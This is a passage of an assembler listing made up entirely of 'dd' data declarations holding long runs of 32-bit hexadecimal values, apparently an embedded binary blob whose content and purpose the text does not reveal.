		dd 1440BB5Ah, 8F6378B1h, 0FFF1000Bh, 0FC6E518h,	0EA00A0EBh
		dd 0E37BE9BDh, 0D5493Ah, 40194BB8h, 994DC390h, 802F1403h
		dd 0F9AB4Ah, 0FF3272E8h, 0E1D8DD17h, 3996F00h, 579618C6h
		dd 3C80B828h, 0AE00EB33h, 22825CDBh, 82D1ABh, 9D2E9A9Eh
		dd 4E791DBEh, 5C8FD7A6h, 1DADE60h, 0C5AF4F60h, 3C72E1h
		dd 0C0C7F993h, 3EE62C02h, 84006810h, 32980BFh, 0DD013D11h
		dd 98B5A113h, 660F2ABh,	0D2080C77h, 7AB0FA46h, 0FA69921h
		dd 0B27DC1h, 0B9130F50h, 0E8F9FF05h, 0FB000959h, 76A2375Eh
		dd 1F47D92Ah, 4A437287h, 0E0AEE9h, 0F5CBD4B5h, 0E009BFBh
		dd 0E4763C0Fh, 5C7D31E0h, 2D776629h, 28208A14h,	8412C8B7h
		dd 3910624Ch, 0CA150E3Ah, 0BA0340F4h, 1F7AD9B2h, 0D2567F13h
		dd 85F4800Fh, 58076BACh, 0B0FDCC96h, 5C79FF61h,	9D738C82h
		dd 666040B8h, 1C00C3E2h, 94985476h, 30F2CEDh, 64187B90h
		dd 0DC7ED72Bh, 0A36BDD09h, 4394E00Bh, 18C4005Fh, 44CAA24Eh
		dd 0D52DFB73h, 9684A0C9h, 1F39EDh, 15EABDA5h, 685D971Ah
		dd 0AFB04B0Eh, 0F1044043h, 12CAA67h, 0BA465B5h,	81C87ECCh
		dd 0DE47FED0h, 0B03092F8h, 498F1354h, 1581E44h,	0A89EC190h
		dd 3E207DBCh, 75048093h, 7E2FC6AFh, 0C5700071h,	6E31BF64h
		dd 0A0005A2Eh, 87AD597Bh
		dd 9D1180Fh, 0C06C988Ch, 8FC94460h, 25E0B105h, 5FC355FBh
		dd 0B843E8E3h, 0B8BA3Ch, 7BC237C7h, 9A3D0EFAh, 3809DC7Bh
		dd 501EC95Bh, 455A008Ch, 0EFDF3CB3h, 6198C49Ah,	9631C8E8h
		dd 77D12086h, 0B117F0h,	6EB29F45h, 7289614Dh, 20555200h
		dd 0C927D5CFh, 5F3E001Ah, 0EE38A4A9h, 0A20275DFh, 43538A67h
		dd 0E14883B2h, 4A61E00Dh, 4C40A00Eh, 87182F17h,	0B73BE4A0h
		dd 0B5005872h, 0DEA33C79h, 28A7DCCAh, 24BA40h, 6EA21EEBh
		dd 59C22DC9h, 0BB51B03Ah, 8C8080A3h, 0C56D820Bh, 1ADF0AA5h
		dd 87B8D0E6h, 0A08BCBEAh, 56DBB8B3h, 1FAD0801h,	8206241Bh
		dd 6CC93C71h, 5D4314F0h, 0DC04B852h, 81F43705h,	8E15138Dh
		dd 4066A688h, 0CC70E6AFh, 3EF2001Ch, 0EBACE8B8h, 0D61FEFD3h
		dd 8B4ED8AAh, 1EF980C5h, 24C40868h, 0C0C175h, 95339744h
		dd 0D978507Fh, 7364C700h, 126E68C5h, 175E051h, 551BE587h
		dd 0C0FA2EA4h, 0BF00F156h, 5C45F5D3h, 3AB83Ch, 66C3C990h
		dd 0C1C7ED01h, 0D59F6507h, 4350A3B1h, 0E1A62Dh,	0FB105FA2h
		dd 599E8C0Bh, 0FA34C500h, 7046F9DEh, 30180C7Ah,	0C008BF1Bh
		dd 0C6DF21C0h, 248CF9h,	517E33F4h, 942AB820h, 5D9FFF00h
		dd 49078B73h, 8D040653h, 1815BCDDh, 0C46B3A01h,	387DD534h
		dd 599AD0h, 0F910A5C2h,	36BD5D98h, 38818233h, 0D6210CC4h
		dd 3C799FB6h, 0E041971Fh, 5E0E9B3Ch, 68C19F28h,	318F3993h
		dd 13A03A25h, 0FDFF41BFh, 0FAF0B71Dh, 7721CF18h, 0F15E0042h
		dd 0B999F30Fh, 0AC005B36h, 0FDD1352Fh, 502EC4E3h, 0F94093h
		dd 6A257753h, 329E5068h, 6A3CAA3h, 0A6F210Fh, 0D5084177h
		dd 54409C2Ch, 186AED32h, 60C4E519h, 5C812183h, 0CF9B60h
		dd 4D16893Ah, 0D4884FCBh, 0B0524200h, 45DEBF5Eh, 0B7810938h
		dd 0E0803575h, 0B986E992h, 88C8300h, 0FE01C680h, 40691C2Eh
		dd 0DB31009Fh, 2C9D320Bh, 8700EDE4h, 53612ADh, 0E49A69h
		dd 46A962D8h, 0F4BE146Ch, 0B84E1D00h, 0A19FE568h, 0F8517EDDh
		dd 0E71839C3h, 0C0F28A00h, 939837E9h, 0E401B9E4h, 6AB2B3D5h
		dd 0E1E82114h, 0B5130028h, 0C24C7C8Ah, 3B006EFAh, 0B24F6830h
		dd 107D55h, 0F45EA783h,	21A4DF16h, 5333DB00h, 1AB7E7B5h
		dd 14D40038h, 0C997EF74h, 8C0778D7h, 60332963h,	97F7C023h
		dd 1CE699E0h, 0C302ECCh, 40341FB6h, 7A2915F9h, 0E490EA4Ch
		dd 0BBBD8501h, 3414E964h, 200860F7h, 0F9E1B383h, 0FA01047Ch
		dd 0E565E740h, 0E000DCABh, 0EF787727h, 0BAB0F306h, 13180B02h
		dd 75EDFAh, 0FB1EDA43h,	872EC740h, 70052CB9h, 0AF0FE546h
		dd 357E20AEh, 3EAF2F39h, 90814D8Fh, 74B2AC9Ah, 2040BB20h
		dd 36B7061Fh, 60E743C1h, 0C500F2EEh, 2B3A518Dh,	1118509h
		dd 0BD66DAC2h, 0BA61DD65h, 0BCF381C1h, 0FB0B72E6h, 0FA5DE30h
		dd 127A3F09h, 2898618Eh, 42005849h, 34CEDADCh, 0CA6E209h
		dd 65AA08BBh, 94000E20h, 4410E442h, 7A916Fh, 0D85504E5h
		dd 1E14E13Ah, 98A86D70h, 0A000C309h, 85768859h,	0CAC88E61h
		dd 80B85308h, 0CA03BC2h, 9D00FADCh, 0E002B2D4h,	0A879FCF9h
		dd 0E65A1BB0h, 3550281Ch, 151406D8h, 7039AC7Dh,	651FEF18h
		dd 3CE28FB8h, 6180BBA1h, 0D5C67C29h, 0B51D0D0Fh, 894E5F71h
		dd 20ABCCCAh, 298D7D7Ah, 0E2209739h, 8730D217h,	865E30C7h
		dd 0CD10CCD8h, 0AC67C12Ah, 0B86E5A2Ch, 0C8833A3Dh, 68DB1D09h
		dd 0C5E7D12h, 794916C0h, 0F9E8B6h, 5B777FC8h, 0DEB22F43h
		dd 0B0C31901h, 0E499E61Eh, 876DF050h, 0B45800A6h, 0E8D9E0D2h
		dd 2C905C32h, 6A659302h, 0A062801Ch, 777109D8h,	0AF413E9Eh
		dd 0A4E56609h, 699A0C20h, 0BF010A54h, 3E0928A0h, 0F448881Eh
		dd 0A5850E42h, 0A8EFA182h, 2D291E2h, 433BDCA0h,	0E3520764h
		dd 3352F2E8h, 0A42B1FD8h, 0D3F45F00h, 313859A8h, 0FA6D305Ch
		dd 0F31F9429h, 0FFC7A500h, 0AAA4D77Bh, 54BAB087h, 3B78D3h
		dd 0DC968037h, 60263346h, 0E890167h, 2056E05Eh,	6520938h
		dd 0E13455F7h, 5C8521BDh, 0EF601FC4h, 894898D0h, 265A0100h
		dd 64EC0D20h, 0F8439850h, 0CA440070h, 846888B2h, 0AC0A623Ah
		dd 0DCC999E7h, 0F27B80A8h, 0A03F0486h, 381688BDh, 0A03700CEh
		dd 733FBC5h, 200F6D47h,	0C048E543h, 419429DAh, 0D083A3Ah
		dd 61118B86h, 0E9003804h, 0DB0CFE5Eh, 3E2BE2h, 2417C5B7h
		dd 0B049BC75h, 6067B374h, 0ACA0F7B9h, 1E04606h,	169CAE69h
		dd 0E46B6836h, 98440Eh,	5F1EDB46h, 96DAC942h, 14FC09h
		dd 42972700h, 0ED0E3372h, 0E0CA001Fh, 3A59A4D3h, 1A68891Eh
		dd 2419C829h, 5C4066E9h, 7F6A55CDh, 46F4006Fh, 95158CF8h
		dd 0C81B5F5Ch, 53E8B5E1h, 43024C8Ah, 0D10CB4FBh, 0C0A1B844h
		dd 4181837h, 13C06A49h,	20563268h, 0CC49E0A5h, 8E623B05h
		dd 0D404A776h, 0D5306D6Ch, 88235BA0h, 7561126h,	6A0CDC4h
		dd 90C1BF50h, 0BE9403FDh, 1DE27970h, 0E60B45C0h, 214B2912h
		dd 3CEF0400h, 1C81EA6Dh, 6601CE5Fh, 5E8F002Ch, 0BE64BA47h
		dd 2B91D00h, 8D654380h,	0E5980684h, 40222831h, 74D26C0Ch
		dd 167858BEh, 0B1BD806Ah, 40A7F10Bh, 3DE34CB8h,	5822902h
		dd 84487A95h, 5C60DEE4h, 0DA233842h, 3511EEh, 7042E822h
		dd 60A934BEh, 3B2758D1h, 1C71E21Bh, 140190B2h, 0E1824D3Eh
		dd 18605157h, 1F67529h,	272AF0C5h, 81660DEDh, 8E1DA50h
		dd 0C080FA06h, 9A36A482h, 1713640Ah, 0EC04CCC8h, 184078C0h
		dd 0EC1295ACh, 2D0820A7h, 9800C935h, 91292EB1h,	0E8885F6Ch
		dd 22F60074h, 46458FBCh, 0D3A801Bh, 21C07341h, 0B4221ECBh
		dd 635BEE27h, 416DE814h, 810A2086h, 4652682h, 210CB1DCh
		dd 49CE504h, 0C0F75DC8h, 32701ED8h, 91D5430h, 0EDAF845h
		dd 0D9827FC2h, 181CE78Ah, 0C8DD080Ah, 8F2CE81h,	2E01F20h
		dd 15D8A125h, 6CCC07Fh,	3699CD79h, 20509409h, 4C7A2A18h
		dd 79523483h, 50A93A18h, 71D8FF1Ch, 0AE425910h,	0E5108B50h
		dd 9C676045h, 8F040811h, 0FED88161h, 404342DAh,	4C941DBh
		dd 36E71C18h, 8702E94h,	8F510C84h, 43CDF114h, 8023694Ch
		dd 5052BCFAh, 0B2AD42C0h, 7D0E7B50h, 5E34329h, 70409196h
		dd 3B65B50Ch, 0EA7B7AEDh, 0FC1CD0B3h, 0EB040BB9h, 45396616h
		dd 0C13B5Ch, 0F390590Ch, 8898A61Ch, 82030905h, 8C84E3F2h
		dd 0E22A2000h, 13E77278h, 411EC079h, 0B58444DCh, 633898B8h
		dd 9246BA51h, 20B09818h, 0C426E4FAh, 231272E6h,	603AB082h
		dd 0C00361A8h, 0AA8D8961h, 364AB621h, 959E1845h, 1B8554C0h
		dd 6985FBD4h, 94CFE1D8h, 1EC7C004h, 3703B32Ah, 0A1F4FAF2h
		dd 9E080036h, 7539B428h, 8224261Eh, 1C04C421h, 30903689h
		dd 6103A1A3h, 0A2DC0806h, 715E0A0h, 0C1AEBA36h,	519DFF48h
		dd 0C20038A2h, 0DD9762A0h, 0B900D8CDh, 0AA10D253h, 98DB1Bh
		dd 4D8F2938h, 5B0E94ABh, 6648B401h, 0BC113DD3h,	0F614D980h
		dd 0A9074CF8h, 76FF8CA3h, 6702E992h, 650E6D58h,	0AFB3C1CAh
		dd 1E38B064h, 8E9550h, 3B74871Bh, 0B603B50Eh, 0E566F81Dh
		dd 7EB10296h, 89CE6572h, 35C6085h, 0E981AB88h, 940738A6h
		dd 4AE7390Ah, 22103A63h, 0E1CCA930h, 9A30864h, 0BB836D88h
		dd 2B67D000h, 4F007A96h, 0C5668DC4h, 31C0343Dh,	2321B431h
		dd 84B0418Fh, 0F1504311h, 0B08507A2h, 87AC04B1h, 2FF880E7h
		dd 0DF0078BCh, 4D4F176Ch, 0C95794AAh, 38250A50h, 1A8741Ch
		dd 0FC158AB0h, 8DA8E09Ch
		dd 38A95D24h, 0ABC04949h, 52733930h, 0DFC4B84Bh, 215C32E7h
		dd 76A8EFCh, 0F0FA9941h, 0E9E1C0h, 64C254B8h, 278BF15Bh
		dd 6A9CFF0Bh, 31C08F3Fh, 5359D800h, 0DAA0E4Bh, 0D0C0D3F4h
		dd 0F81EDF46h, 1EF2749Dh, 3CEBF83h, 43AF9527h, 0FAE8DBEBh
		dd 340008B1h, 0A3A1D4D1h, 49890F6Dh, 2D3050BEh,	0A0561AB9h
		dd 2890DB49h, 0A82090CFh, 2369151Bh, 2C30B88Bh,	0EAB9A931h
		dd 1B110C94h, 1D58D840h, 0ACB6964h, 538C1266h, 5D00E2E2h
		dd 8395F2CEh, 1A0CE148h, 82812468h, 41E7381Ch, 3022BA18h
		dd 2959A086h, 0C8AA2CA1h, 655087AFh, 0C080154Ch, 6043F1C3h
		dd 86F13088h, 0ACD33429h, 91D80D07h, 0E0BE8F53h, 0FA5DA75Ch
		dd 400B64B8h, 11814002h, 1AD43858h, 0B118BA51h,	2429AC0Ch
		dd 4B391544h, 698C2058h, 8890629Eh, 9580E52h, 227A2FFh
		dd 908289E4h, 0EEDA5148h, 0F1F0A0FFh, 18D2244Fh, 793A003Dh
		dd 640DD43Bh, 658E20C0h, 9567FB5h, 0AE81AA57h, 0D10E8C00h
		dd 15194695h, 0B7789360h, 0BB288910h, 6F9E1E18h, 0C9279371h
		dd 6CCACE0Ch, 289FB002h, 88345808h, 0E4AF5C82h,	0C3F7A2Ch
		dd 26229C11h, 0B090ACF0h, 27DE9E00h, 0E75DBA82h, 2A38905Fh
		dd 34A0FCE1h, 3110DCC1h, 0F05DA98Ch, 0BB30B5CAh, 0D42C8154h
		dd 406208A3h, 8E810B68h, 91B3C22h, 0C00EA1E0h, 13152610h
		dd 274CE664h, 0C81C2448h, 0A5C02C67h, 0C05D227Ah, 248B4710h
		dd 355C8EC8h, 6306147Ch, 29F7148Ch, 6BD50B98h, 9A5E802Fh
		dd 598A6C27h, 0DA034C22h, 0FA50D4E1h, 73889079h, 0C29E2CAFh
		dd 4F087D98h, 1104004Eh, 96FFCB7Eh, 6A0446E0h, 0DBCAB2DFh
		dd 0C62680FEh, 0D707CE01h, 572CD95Fh, 0F055D133h, 3A992774h
		dd 8E80A510h, 4D6BC06Ch, 8600AA8Bh, 0F89B04D1h,	7087819h
		dd 8537B445h, 0A5C9C054h, 4A00361Bh, 96CAE029h,	72B261FEh
		dd 48BA001Eh, 392DC6CBh, 0EE00583Ah, 480EB73h, 1DF83Eh
		dd 97D77503h, 0A890432Ch, 0D2131FF4h, 0C2FC7AA7h, 40836F00h
		dd 0C36D1407h, 73CE0C0Fh, 0C26EA05Eh, 3046E4h, 3FB71D81h
		dd 95EA6A7Dh, 72FB4F0Eh, 0E9FC1D7h, 8440DCECh, 3CE1141h
		dd 3BF225D9h, 0F0B03AA1h, 9703ED69h, 21804DBEh,	8C4288B4h
		dd 3E7600D6h, 0E16B9A7Bh, 5074E94h, 0BF301DFBh,	0ED1FDD60h
		dd 8B8000FEh, 0EC09574Bh, 32002142h, 0D72F0FCCh, 1EE04817h
		dd 0C0D83F62h, 9A4533F1h, 0CB000B88h, 0DD3467B3h, 1F03C7BFh
		dd 3C830676h, 5A467780h, 5BF68BEAh, 0D34D2700h,	2F01EDEBh
		dd 57280402h, 9083D915h, 0D67C64A4h, 5F971403h,	0C8C503C1h
		dd 0EA3C92h, 0CDE78437h, 981D0BD1h, 242F4700h, 80518BE9h
		dd 0CF6E4D9h, 0EBEE5054h, 64007919h, 0B1F28470h, 0C37E5Ch
		dd 3B91B5BBh, 4005EBEFh, 4800A09Ah, 8AB74E72h, 0B35A57h
		dd 0CC763986h, 0EA8B637Dh, 0F826BA00h, 0A140546Bh, 4A2F0E49h
		dd 6120A2C8h, 0A08001CDh, 7F465000h, 0EEE175B4h, 2A7E1BF8h
		dd 86E28959h, 4053F3C0h, 0F373401h, 0A407F3C3h,	1CFF20h
		dd 57B9CD0h, 8AEECA3Eh,	0DF0F3800h, 59132CCEh, 64E3092Ah
		dd 6E00D212h, 25D17DBAh, 2D481000h, 0FF1A9D09h,	3C571F2h
		dd 0A43974BCh, 50AE54B5h, 0B850D80Ch, 0FFB851h,	2BA2F566h
		dd 0BA9E3FB6h, 500D6B8h, 9F65E212h, 95F158h, 9453CBC4h
		dd 1B9E2299h, 0EAEB1707h, 3E003D2Dh, 0B9C359h, 8BE8DAA0h
		dd 197729F4h, 9C7E4D3Eh, 0B880E707h, 0ECCAAE90h, 0C72D2401h
		dd 64E695E0h, 0B3BBFE00h, 0FBE75C83h, 4FF7D600h, 0CA05628Dh
		dd 4A47008Bh, 80B6F49Ah, 97B85824h, 0F2A56A00h,	6BF11F7h
		dd 4CEA0014h, 27BA49Eh,	903201DFh, 10BF69DEh, 1974CFC6h
		dd 0F7A4E0A0h, 5E932300h, 9ABCF41Fh, 8AD30042h,	5D5B61EEh
		dd 6D2A4D5Ch, 0EC0194CBh, 0AF2746ADh, 0BACC0AD0h, 0FA720108h
		dd 20C2152Eh, 0B44C205Eh, 29B50900h, 6087025Fh,	7AA83967h
		dd 8CDD6180h, 0D228F314h, 0CDE32D3Eh, 0B7410064h, 2F7323D1h
		dd 0EF5F008Ch, 5AFE9031h, 685183BCh, 0E072FDB0h, 45736596h
		dd 1A7BCC0Fh, 64F2E7D5h, 0A7A2A0D0h, 19FCF175h,	31BE078Eh
		dd 40DCCEEBh, 252346E6h, 41EDB90Eh, 9F6AA091h, 1FCE7D0h
		dd 0D117945Ah, 0C014A64Dh, 4C002AE9h, 968B7372h, 13EF80ECh
		dd 3F6163h, 2C83FA5Eh, 6703DA01h, 0AEC9647Dh, 221CE95h
		dd 2510C7Ch, 0E480D2C4h, 0EA42B534h, 1CF79B5Ch,	2BE7DE1h
		dd 0C836C6F0h, 0C279404Eh, 22F4A0B3h, 0F4D0108h, 137907FCh
		dd 0F0A8FFA6h, 86987125h, 0E7DDD200h, 4E32B9ADh, 824500FDh
		dd 0BCABCBC5h, 0C7C1D93h, 0FB6CBB07h, 0CDA0998Dh, 84DA22h
		dd 0B4B19DDEh, 30953A59h, 10110A00h, 0D660B758h, 0D3873006h
		dd 713B4C8h, 0FB011490h, 0FEE51439h, 8EF01927h,	33E0096h
		dd 0A67932CDh, 12FE1FFAh, 0EB00D1E0h, 3AFE78DBh, 0E4DC11h
		dd 90E14FA9h, 0AF7E67B0h, 0B36C3100h, 12DEE59Bh, 4AE200DFh
		dd 0E38C638Eh, 0FD02D492h, 8F5C9118h, 936DE071h, 630C002h
		dd 5A3D575h, 7E2661FEh,	6200146Eh, 2E1D9DA0h, 973C00F8h
		dd 6CD85DDh, 0B40AA3CCh, 0C449373Bh, 7FB61200h,	1E899828h
		dd 9F51BACh, 84001084h,	74C28A62h, 0FBC85107h, 3943CDBDh
		dd 332FE0A9h, 0CCAB00B8h, 0DCD48045h, 750042D6h, 393A02CAh
		dd 0BEF18Ah, 4C279F4Bh,	0B43DB2C3h, 21407E00h, 62965B90h
		dd 9CC40065h, 753EE2ADh, 8FF42C6Eh, 899FA203h, 9A518Ah
		dd 9177A130h, 0A7BF84F6h, 0D33EF000h, 0C53506DDh, 9720117h
		dd 0D1F925F5h, 0C0D7D392h, 1A83DF36h, 7CA5D0A0h, 0D79CED01h
		dd 158178BCh, 3B0A34C8h, 2980C5D0h, 0B32F5B9h, 0EA0070B1h
		dd 6F968C64h, 0C249F1h,	0BC6C2CCDh, 937F730Eh, 0E7A88E00h
		dd 58D81F9Bh, 0D31A0022h, 7127EB06h, 0C70B9FCFh, 7251EEh
		dd 0BA9499B1h, 3F83F78h, 6CA9A4h, 0FBF173A0h, 0AA183732h
		dd 97CC8430h, 1DF6C0B9h, 0B9DAD71h, 0F57B1201h,	443F25E4h
		dd 953170h, 0C8583B42h,	50F06B2h, 627859F2h, 16122776h
		dd 5700C168h, 0E79DBF01h, 127CEEh, 318786BCh, 2373E8BBh
		dd 48B3B803h, 0C7114Ch,	3BB2CF96h, 6849E105h, 595DD400h
		dd 0AFCA0241h, 1297092Ah, 2F801674h, 0B52757E1h, 9BB1760Fh
		dd 0CF00DC64h, 4F6A92FFh, 5208147Eh, 0B038CA0h,	0E53BBD9Bh
		dd 51D79EA8h, 129F7A1Ch, 8038F180h, 74A31AA6h, 0C64A00B7h
		dd 64FF997Fh, 3100C026h, 46BFDF5Bh, 37A7480h, 941942C5h
		dd 0DEF091DDh, 0DC172EA0h, 30009023h, 253B9783h, 91A40009h
		dd 5422FDA5h, 15010AD6h, 0AA9B8EDBh, 0A7C95AD1h, 5750DCh
		dd 0C844DCB4h, 69722BCCh, 76D3C95Ch, 0FAC1BD00h, 6752B9CBh
		dd 12D57E02h, 93BEEA28h, 0C982DC8h, 0ED26A859h,	2A405896h
		dd 0DFD98h, 0FC0AAD94h,	17278A8Dh, 0A437EE2Eh, 4EABE100h
		dd 4AB6E4h, 0FA6DF3Eh, 417C8856h, 0B0ADBA24h, 6873CD07h
		dd 90FF5782h, 88C55308h, 39006923h, 31E52A97h, 8776FCh
		dd 3518A2A4h, 2962E478h, 0A7863Bh, 8E64C047h, 7B697649h
		dd 32DE129Ah, 0B22E03C7h, 0D17890DFh, 93416D3Bh, 0B4908508h
		dd 3DCDE05Fh, 0AD1D4BDAh, 1CBA8345h, 80012A6Ah,	80EDC0F3h
		dd 318B669Bh, 28C84DE5h, 410E7D9Dh, 827BD1E3h, 91BB8FDDh
		dd 1C508710h, 68CBC3h, 0ADC5606Dh, 8183B8Ch, 8B56DD17h
		dd 811C4700h, 675C30h, 0D296B642h, 0A71E374Bh, 0AAC12224h
		dd 26710502h, 4CDFC02Ah
		dd 0B78B002Bh, 3386C63Ch, 0A8007C78h, 0AFFE080Ah, 805FBEh
		dd 0C521549Fh, 1B0B67BFh, 53710F78h, 1A7EDC00h,	86A7F8C7h
		dd 8FE40D2Fh, 8E5862F6h, 80E31FB8h, 0F3B6DEB8h,	8E5B074Ah
		dd 366758A4h, 3420E09Dh, 0A9650844h, 6D1DDC55h,	86C08065h
		dd 7C874936h, 52E60999h, 0D6802F68h, 0A8C1411Ah, 0D0B931C0h
		dd 380495DAh, 5081F915h, 0EBEECD5Eh, 1C9AEC52h,	33D16C09h
		dd 0B08511Bh, 0F300C943h, 38B4F5EFh, 9100C078h,	0A80A5B82h
		dd 0C78710h, 40A59CFDh,	0C94929E5h, 6B7D7B16h, 0E490C412h
		dd 1E2474Bh, 54792024h,	0EC7E88A6h, 0C1C09BAAh,	0E0C28EE9h
		dd 0FEAF0069h, 4EF78222h, 2C01EAE5h, 650E3B02h,	0C98672CEh
		dd 39586612h, 1F786400h, 0F1CED4AEh, 4EBBA002h,	36490035h
		dd 0DA8F57C6h, 1C6079ABh, 0E2CA3A31h, 40660373h, 288868BDh
		dd 1A876000h, 9CF5D71Eh, 3094002Fh, 5E75A118h, 4B788CBFh
		dd 0C53D3300h, 4C6CB416h, 8612000Eh, 0FAE14927h, 0AD039E51h
		dd 0DABC086Dh, 30088605h, 0C7204E93h, 8E009EF9h, 5CEB2352h
		dd 130653h, 735D8B33h, 4BDBCBB4h, 279AE100h, 3D60F2FCh
		dd 0E2520745h, 0C0DA16EFh, 0A78131D0h, 396F3C00h, 53BAD560h
		dd 9A81C7E2h, 0ED0B5068h, 0DC0C4EE8h, 20BB8D70h, 0EB490C21h
		dd 47294282h, 0E61D6700h, 86066CBFh, 81C63D0h, 20034863h
		dd 511D7E0Dh, 76703E09h, 0A0ECBF00h, 0D75F384Eh, 9717DF75h
		dd 0DD181D9Ah, 149B0h, 376669F8h, 5A5C5F30h, 7062C13Ah
		dd 0D09B21C0h, 1780269h, 77FAA722h, 0DC7D30DAh,	4E9848ECh
		dd 0BDC98766h, 10DC0DB0h, 0FCC0976Dh, 910E3D88h, 20069A9Dh
		dd 0F23A33C8h, 74DF00AEh, 52E440FCh, 0E8001487h, 275BB7A2h
		dd 3B5C16h, 570E43A6h, 0C14BFDE0h, 89234800h, 93E43FE2h
		dd 659B0EB0h, 6FCE698Ah, 0F0B88EC0h, 4500B522h,	3599CA76h
		dd 0F0AE7110h, 0F8673C8Ah, 177F8C00h, 731BB6B9h, 805D8200h
		dd 4FA0C9F2h, 7D2E0086h, 56D20245h, 93038B1Fh, 927AFC52h
		dd 4BD8986Fh, 79F0EF6Eh, 8F5D0096h, 440FAE69h, 25004D5Eh
		dd 0B4F0512Fh, 6CEDD8h,	0D259982Eh, 22E302F5h, 20E87226h
		dd 966D3107h, 0EBFF52E0h, 8A363E92h, 8E7C5B0Ch,	1900B8C8h
		dd 1F9EAF33h, 1F31DD2Ah, 0FC7E80h, 0AB27026Bh, 367D2D9Dh
		dd 0D0CF9B06h, 5B881A3h, 89523325h, 79D780C7h, 8B034A73h
		dd 9FDB3AE4h, 0CB1800C3h, 2F9B4FC8h, 6C78777Dh,	67E5A600h
		dd 0CDFA26DEh, 6960FDB6h, 2419059Eh, 2F186D70h,	5400EA04h
		dd 2E9E5FE3h, 2D00034Eh, 6E69DB55h, 2BF06Dh, 0C8BE10EDh
		dd 3EA08A3h, 6402911Dh,	5AB82030h, 0CF820028h, 9FC68D46h
		dd 0C1E892AFh, 726988h,	0D9B47825h, 5001E97Fh, 0FF0045F8h
		dd 0FAE04E7Dh, 19E3880h, 0F62B7175h, 0D41E1CC5h, 2170A3A8h
		dd 695A7003h, 46C9A5Dh,	0B4E51850h, 42C4803Ah, 4F066440h
		dd 781AF30Dh, 79886EBCh, 0D2BE2341h, 0A5653098h, 0AB00F2E8h
		dd 13851F30h, 0C45D48Ah, 24ECAA4h, 9009F30h, 893D9647h
		dd 549A5E42h, 283590D9h, 1C945979h, 0C046B8CDh,	3206DE27h
		dd 30F37A4h, 8308DC13h,	0E96DB716h, 0A443A0BCh,	0A075DA11h
		dd 0EAC28DB0h, 4A7700DAh, 0BCA36A2h, 28DDAF26h,	1D61A358h
		dd 0D2C5004Ch, 26CDAC61h, 5ED05DE0h, 0E9887144h, 62100EEAh
		dd 56C01132h, 0CF67AD81h, 0B18C672h, 0B458D3B3h, 449D15C9h
		dd 4189C0Dh, 2DE8F846h,	8088B519h, 6180D809h, 5E895B64h
		dd 930039D3h, 0E3CABFC8h, 7871D9A8h, 0C9B50A60h, 802845F7h
		dd 0E8FE895Ch, 4486A65Dh, 8F02AEDFh, 38FF1689h,	0D384A0D5h
		dd 0D71F4B1h, 0A008D68Ah, 0DC4DEDD1h, 88079BFDh, 0C670FB62h
		dd 0DEEBA2B0h, 0A48D02E1h, 0DF828996h, 0E0505848h, 5B1BFF18h
		dd 52AC1648h, 73CB4D4h,	8B3B1Fh, 0AA5D6473h, 5E744147h
		dd 8D087D54h, 12F80090h, 0E14FA409h, 401C1002h,	98C41EB9h
		dd 84DE815Ch, 0D81620B1h, 4D01C138h, 61331812h,	70981F44h
		dd 5BEF809Dh, 345D4889h, 90B2B809h, 2EA4F9h, 0CF6E7126h
		dd 843805B5h, 803E46E8h, 67BF48E3h, 286BF658h, 0CC1D80B7h
		dd 0EE00D17Dh, 8BD3391Bh, 845E0A10h, 8890A0FCh,	3EBEC9EFh
		dd 431B06D2h, 0D9BB68h,	0E47EB242h, 0E04074C6h,	0FB889900h
		dd 76A8AA15h, 0B2B50294h, 166A6529h, 7AF8F0A0h,	0F1774FA7h
		dd 800101E6h, 33DB73F4h, 4306076h, 44048C5Fh, 0B6E0F428h
		dd 0CB209062h, 3C1261Ch, 254E729Eh, 68DE3D47h, 0D45AAC00h
		dd 0B0AB9403h, 1F2600DAh, 90FE21C1h, 6404915Fh,	0BFDD96Eh
		dd 0BB8088h, 67B1115Ah,	87E6D24Bh, 653133Bh, 20C5D90h
		dd 72090C1h, 0EFB3D6DEh, 8561CEE0h, 0D869B1DFh,	0B48D55Ah
		dd 8D908028h, 30A4421h,	0EB6956DEh, 9CA38407h, 0E5637100h
		dd 50104C27h, 17CB8A6h,	29A3F81Ah, 0D0FE0FE0h, 0D890C3B3h
		dd 1B12FC7Dh, 840C833h,	5BC2F94Dh, 349C48CFh, 869DA18h
		dd 20C11C92h, 75C2D1A0h, 5B449287h, 7490196Ah, 0B64CCC88h
		dd 0BAC30064h, 4232EFE3h, 2D691302h, 8D5C20F4h,	0C9C0E297h
		dd 8CF807Dh, 0EF1C7438h, 8641026h, 581C8D37h, 43E8D228h
		dd 1D07C8A4h, 24682809h, 0B0E2B313h, 362ADACh, 0E6BA3267h
		dd 1FA52B9h, 3F9D4448h,	0D6C69400h, 1DE3B48Eh, 480AC19h
		dd 0CF65C2EFh, 20B962ECh, 0C8C2FB06h, 16617498h, 606333F9h
		dd 9F484186h, 0BFE81903h, 4488732Ch, 0E816B10Ah, 0F860FEE4h
		dd 0A23A322h, 7911D6h, 1627D14Ah, 1C6F3752h, 0D4B3EF88h
		dd 38001008h, 0A2A3296Eh, 0AA01B42Bh, 645DF0FDh, 0BBCD13CEh
		dd 0C0486FC5h, 0FE91FE16h, 80091F8h, 0D361367Dh, 0CCE141C2h
		dd 9A88A518h, 84C200C9h, 68860932h, 0F1C0926Fh,	99C3FED2h
		dd 0F89500D4h, 3DF07A52h, 0B10BE082h, 98C296h, 130BC880h
		dd 242858F1h, 6800D822h, 8FC2BFDBh, 4D3208CDh, 1683E4C7h
		dd 0A106C053h, 0D2958856h, 0DD2B1839h, 68478191h, 4C54BCA8h
		dd 9BF18A01h, 980C82C3h, 912FE030h, 31120018h, 0AE524113h
		dd 89AF8E00h, 325A8867h, 0AD801ED7h, 9DE580D6h,	8B26826Fh
		dd 0FD4AD212h, 4110942Fh, 0CBFEC01Fh, 3C3912BAh, 800321D5h
		dd 0E01CDE53h, 0D07891F5h, 1C5D0C42h, 90E80589h, 2170DEA6h
		dd 1D8A39ABh, 41C886C0h, 6F1656D4h, 0E0805793h,	98827F37h
		dd 2DC07B00h, 2A539069h, 0B448E38Dh, 0A14F6031h, 450CB796h
		dd 0DC3F8F7Ch, 13111C92h, 94A8003Eh, 0CB634066h, 0E05C11A3h
		dd 7B380203h, 90E98808h, 0C05D31C0h, 67773351h,	0C400D444h
		dd 821EA95Fh, 18F894FAh, 312E3621h, 0A5079A99h,	58ECCE46h
		dd 0C268EA30h, 0C36624E8h, 0FD6A4294h, 0D1B60CC9h, 409058D3h
		dd 0E8FA8A08h, 70DBC2FDh, 8998AA00h, 0FE72013Dh, 0FC3035FDh
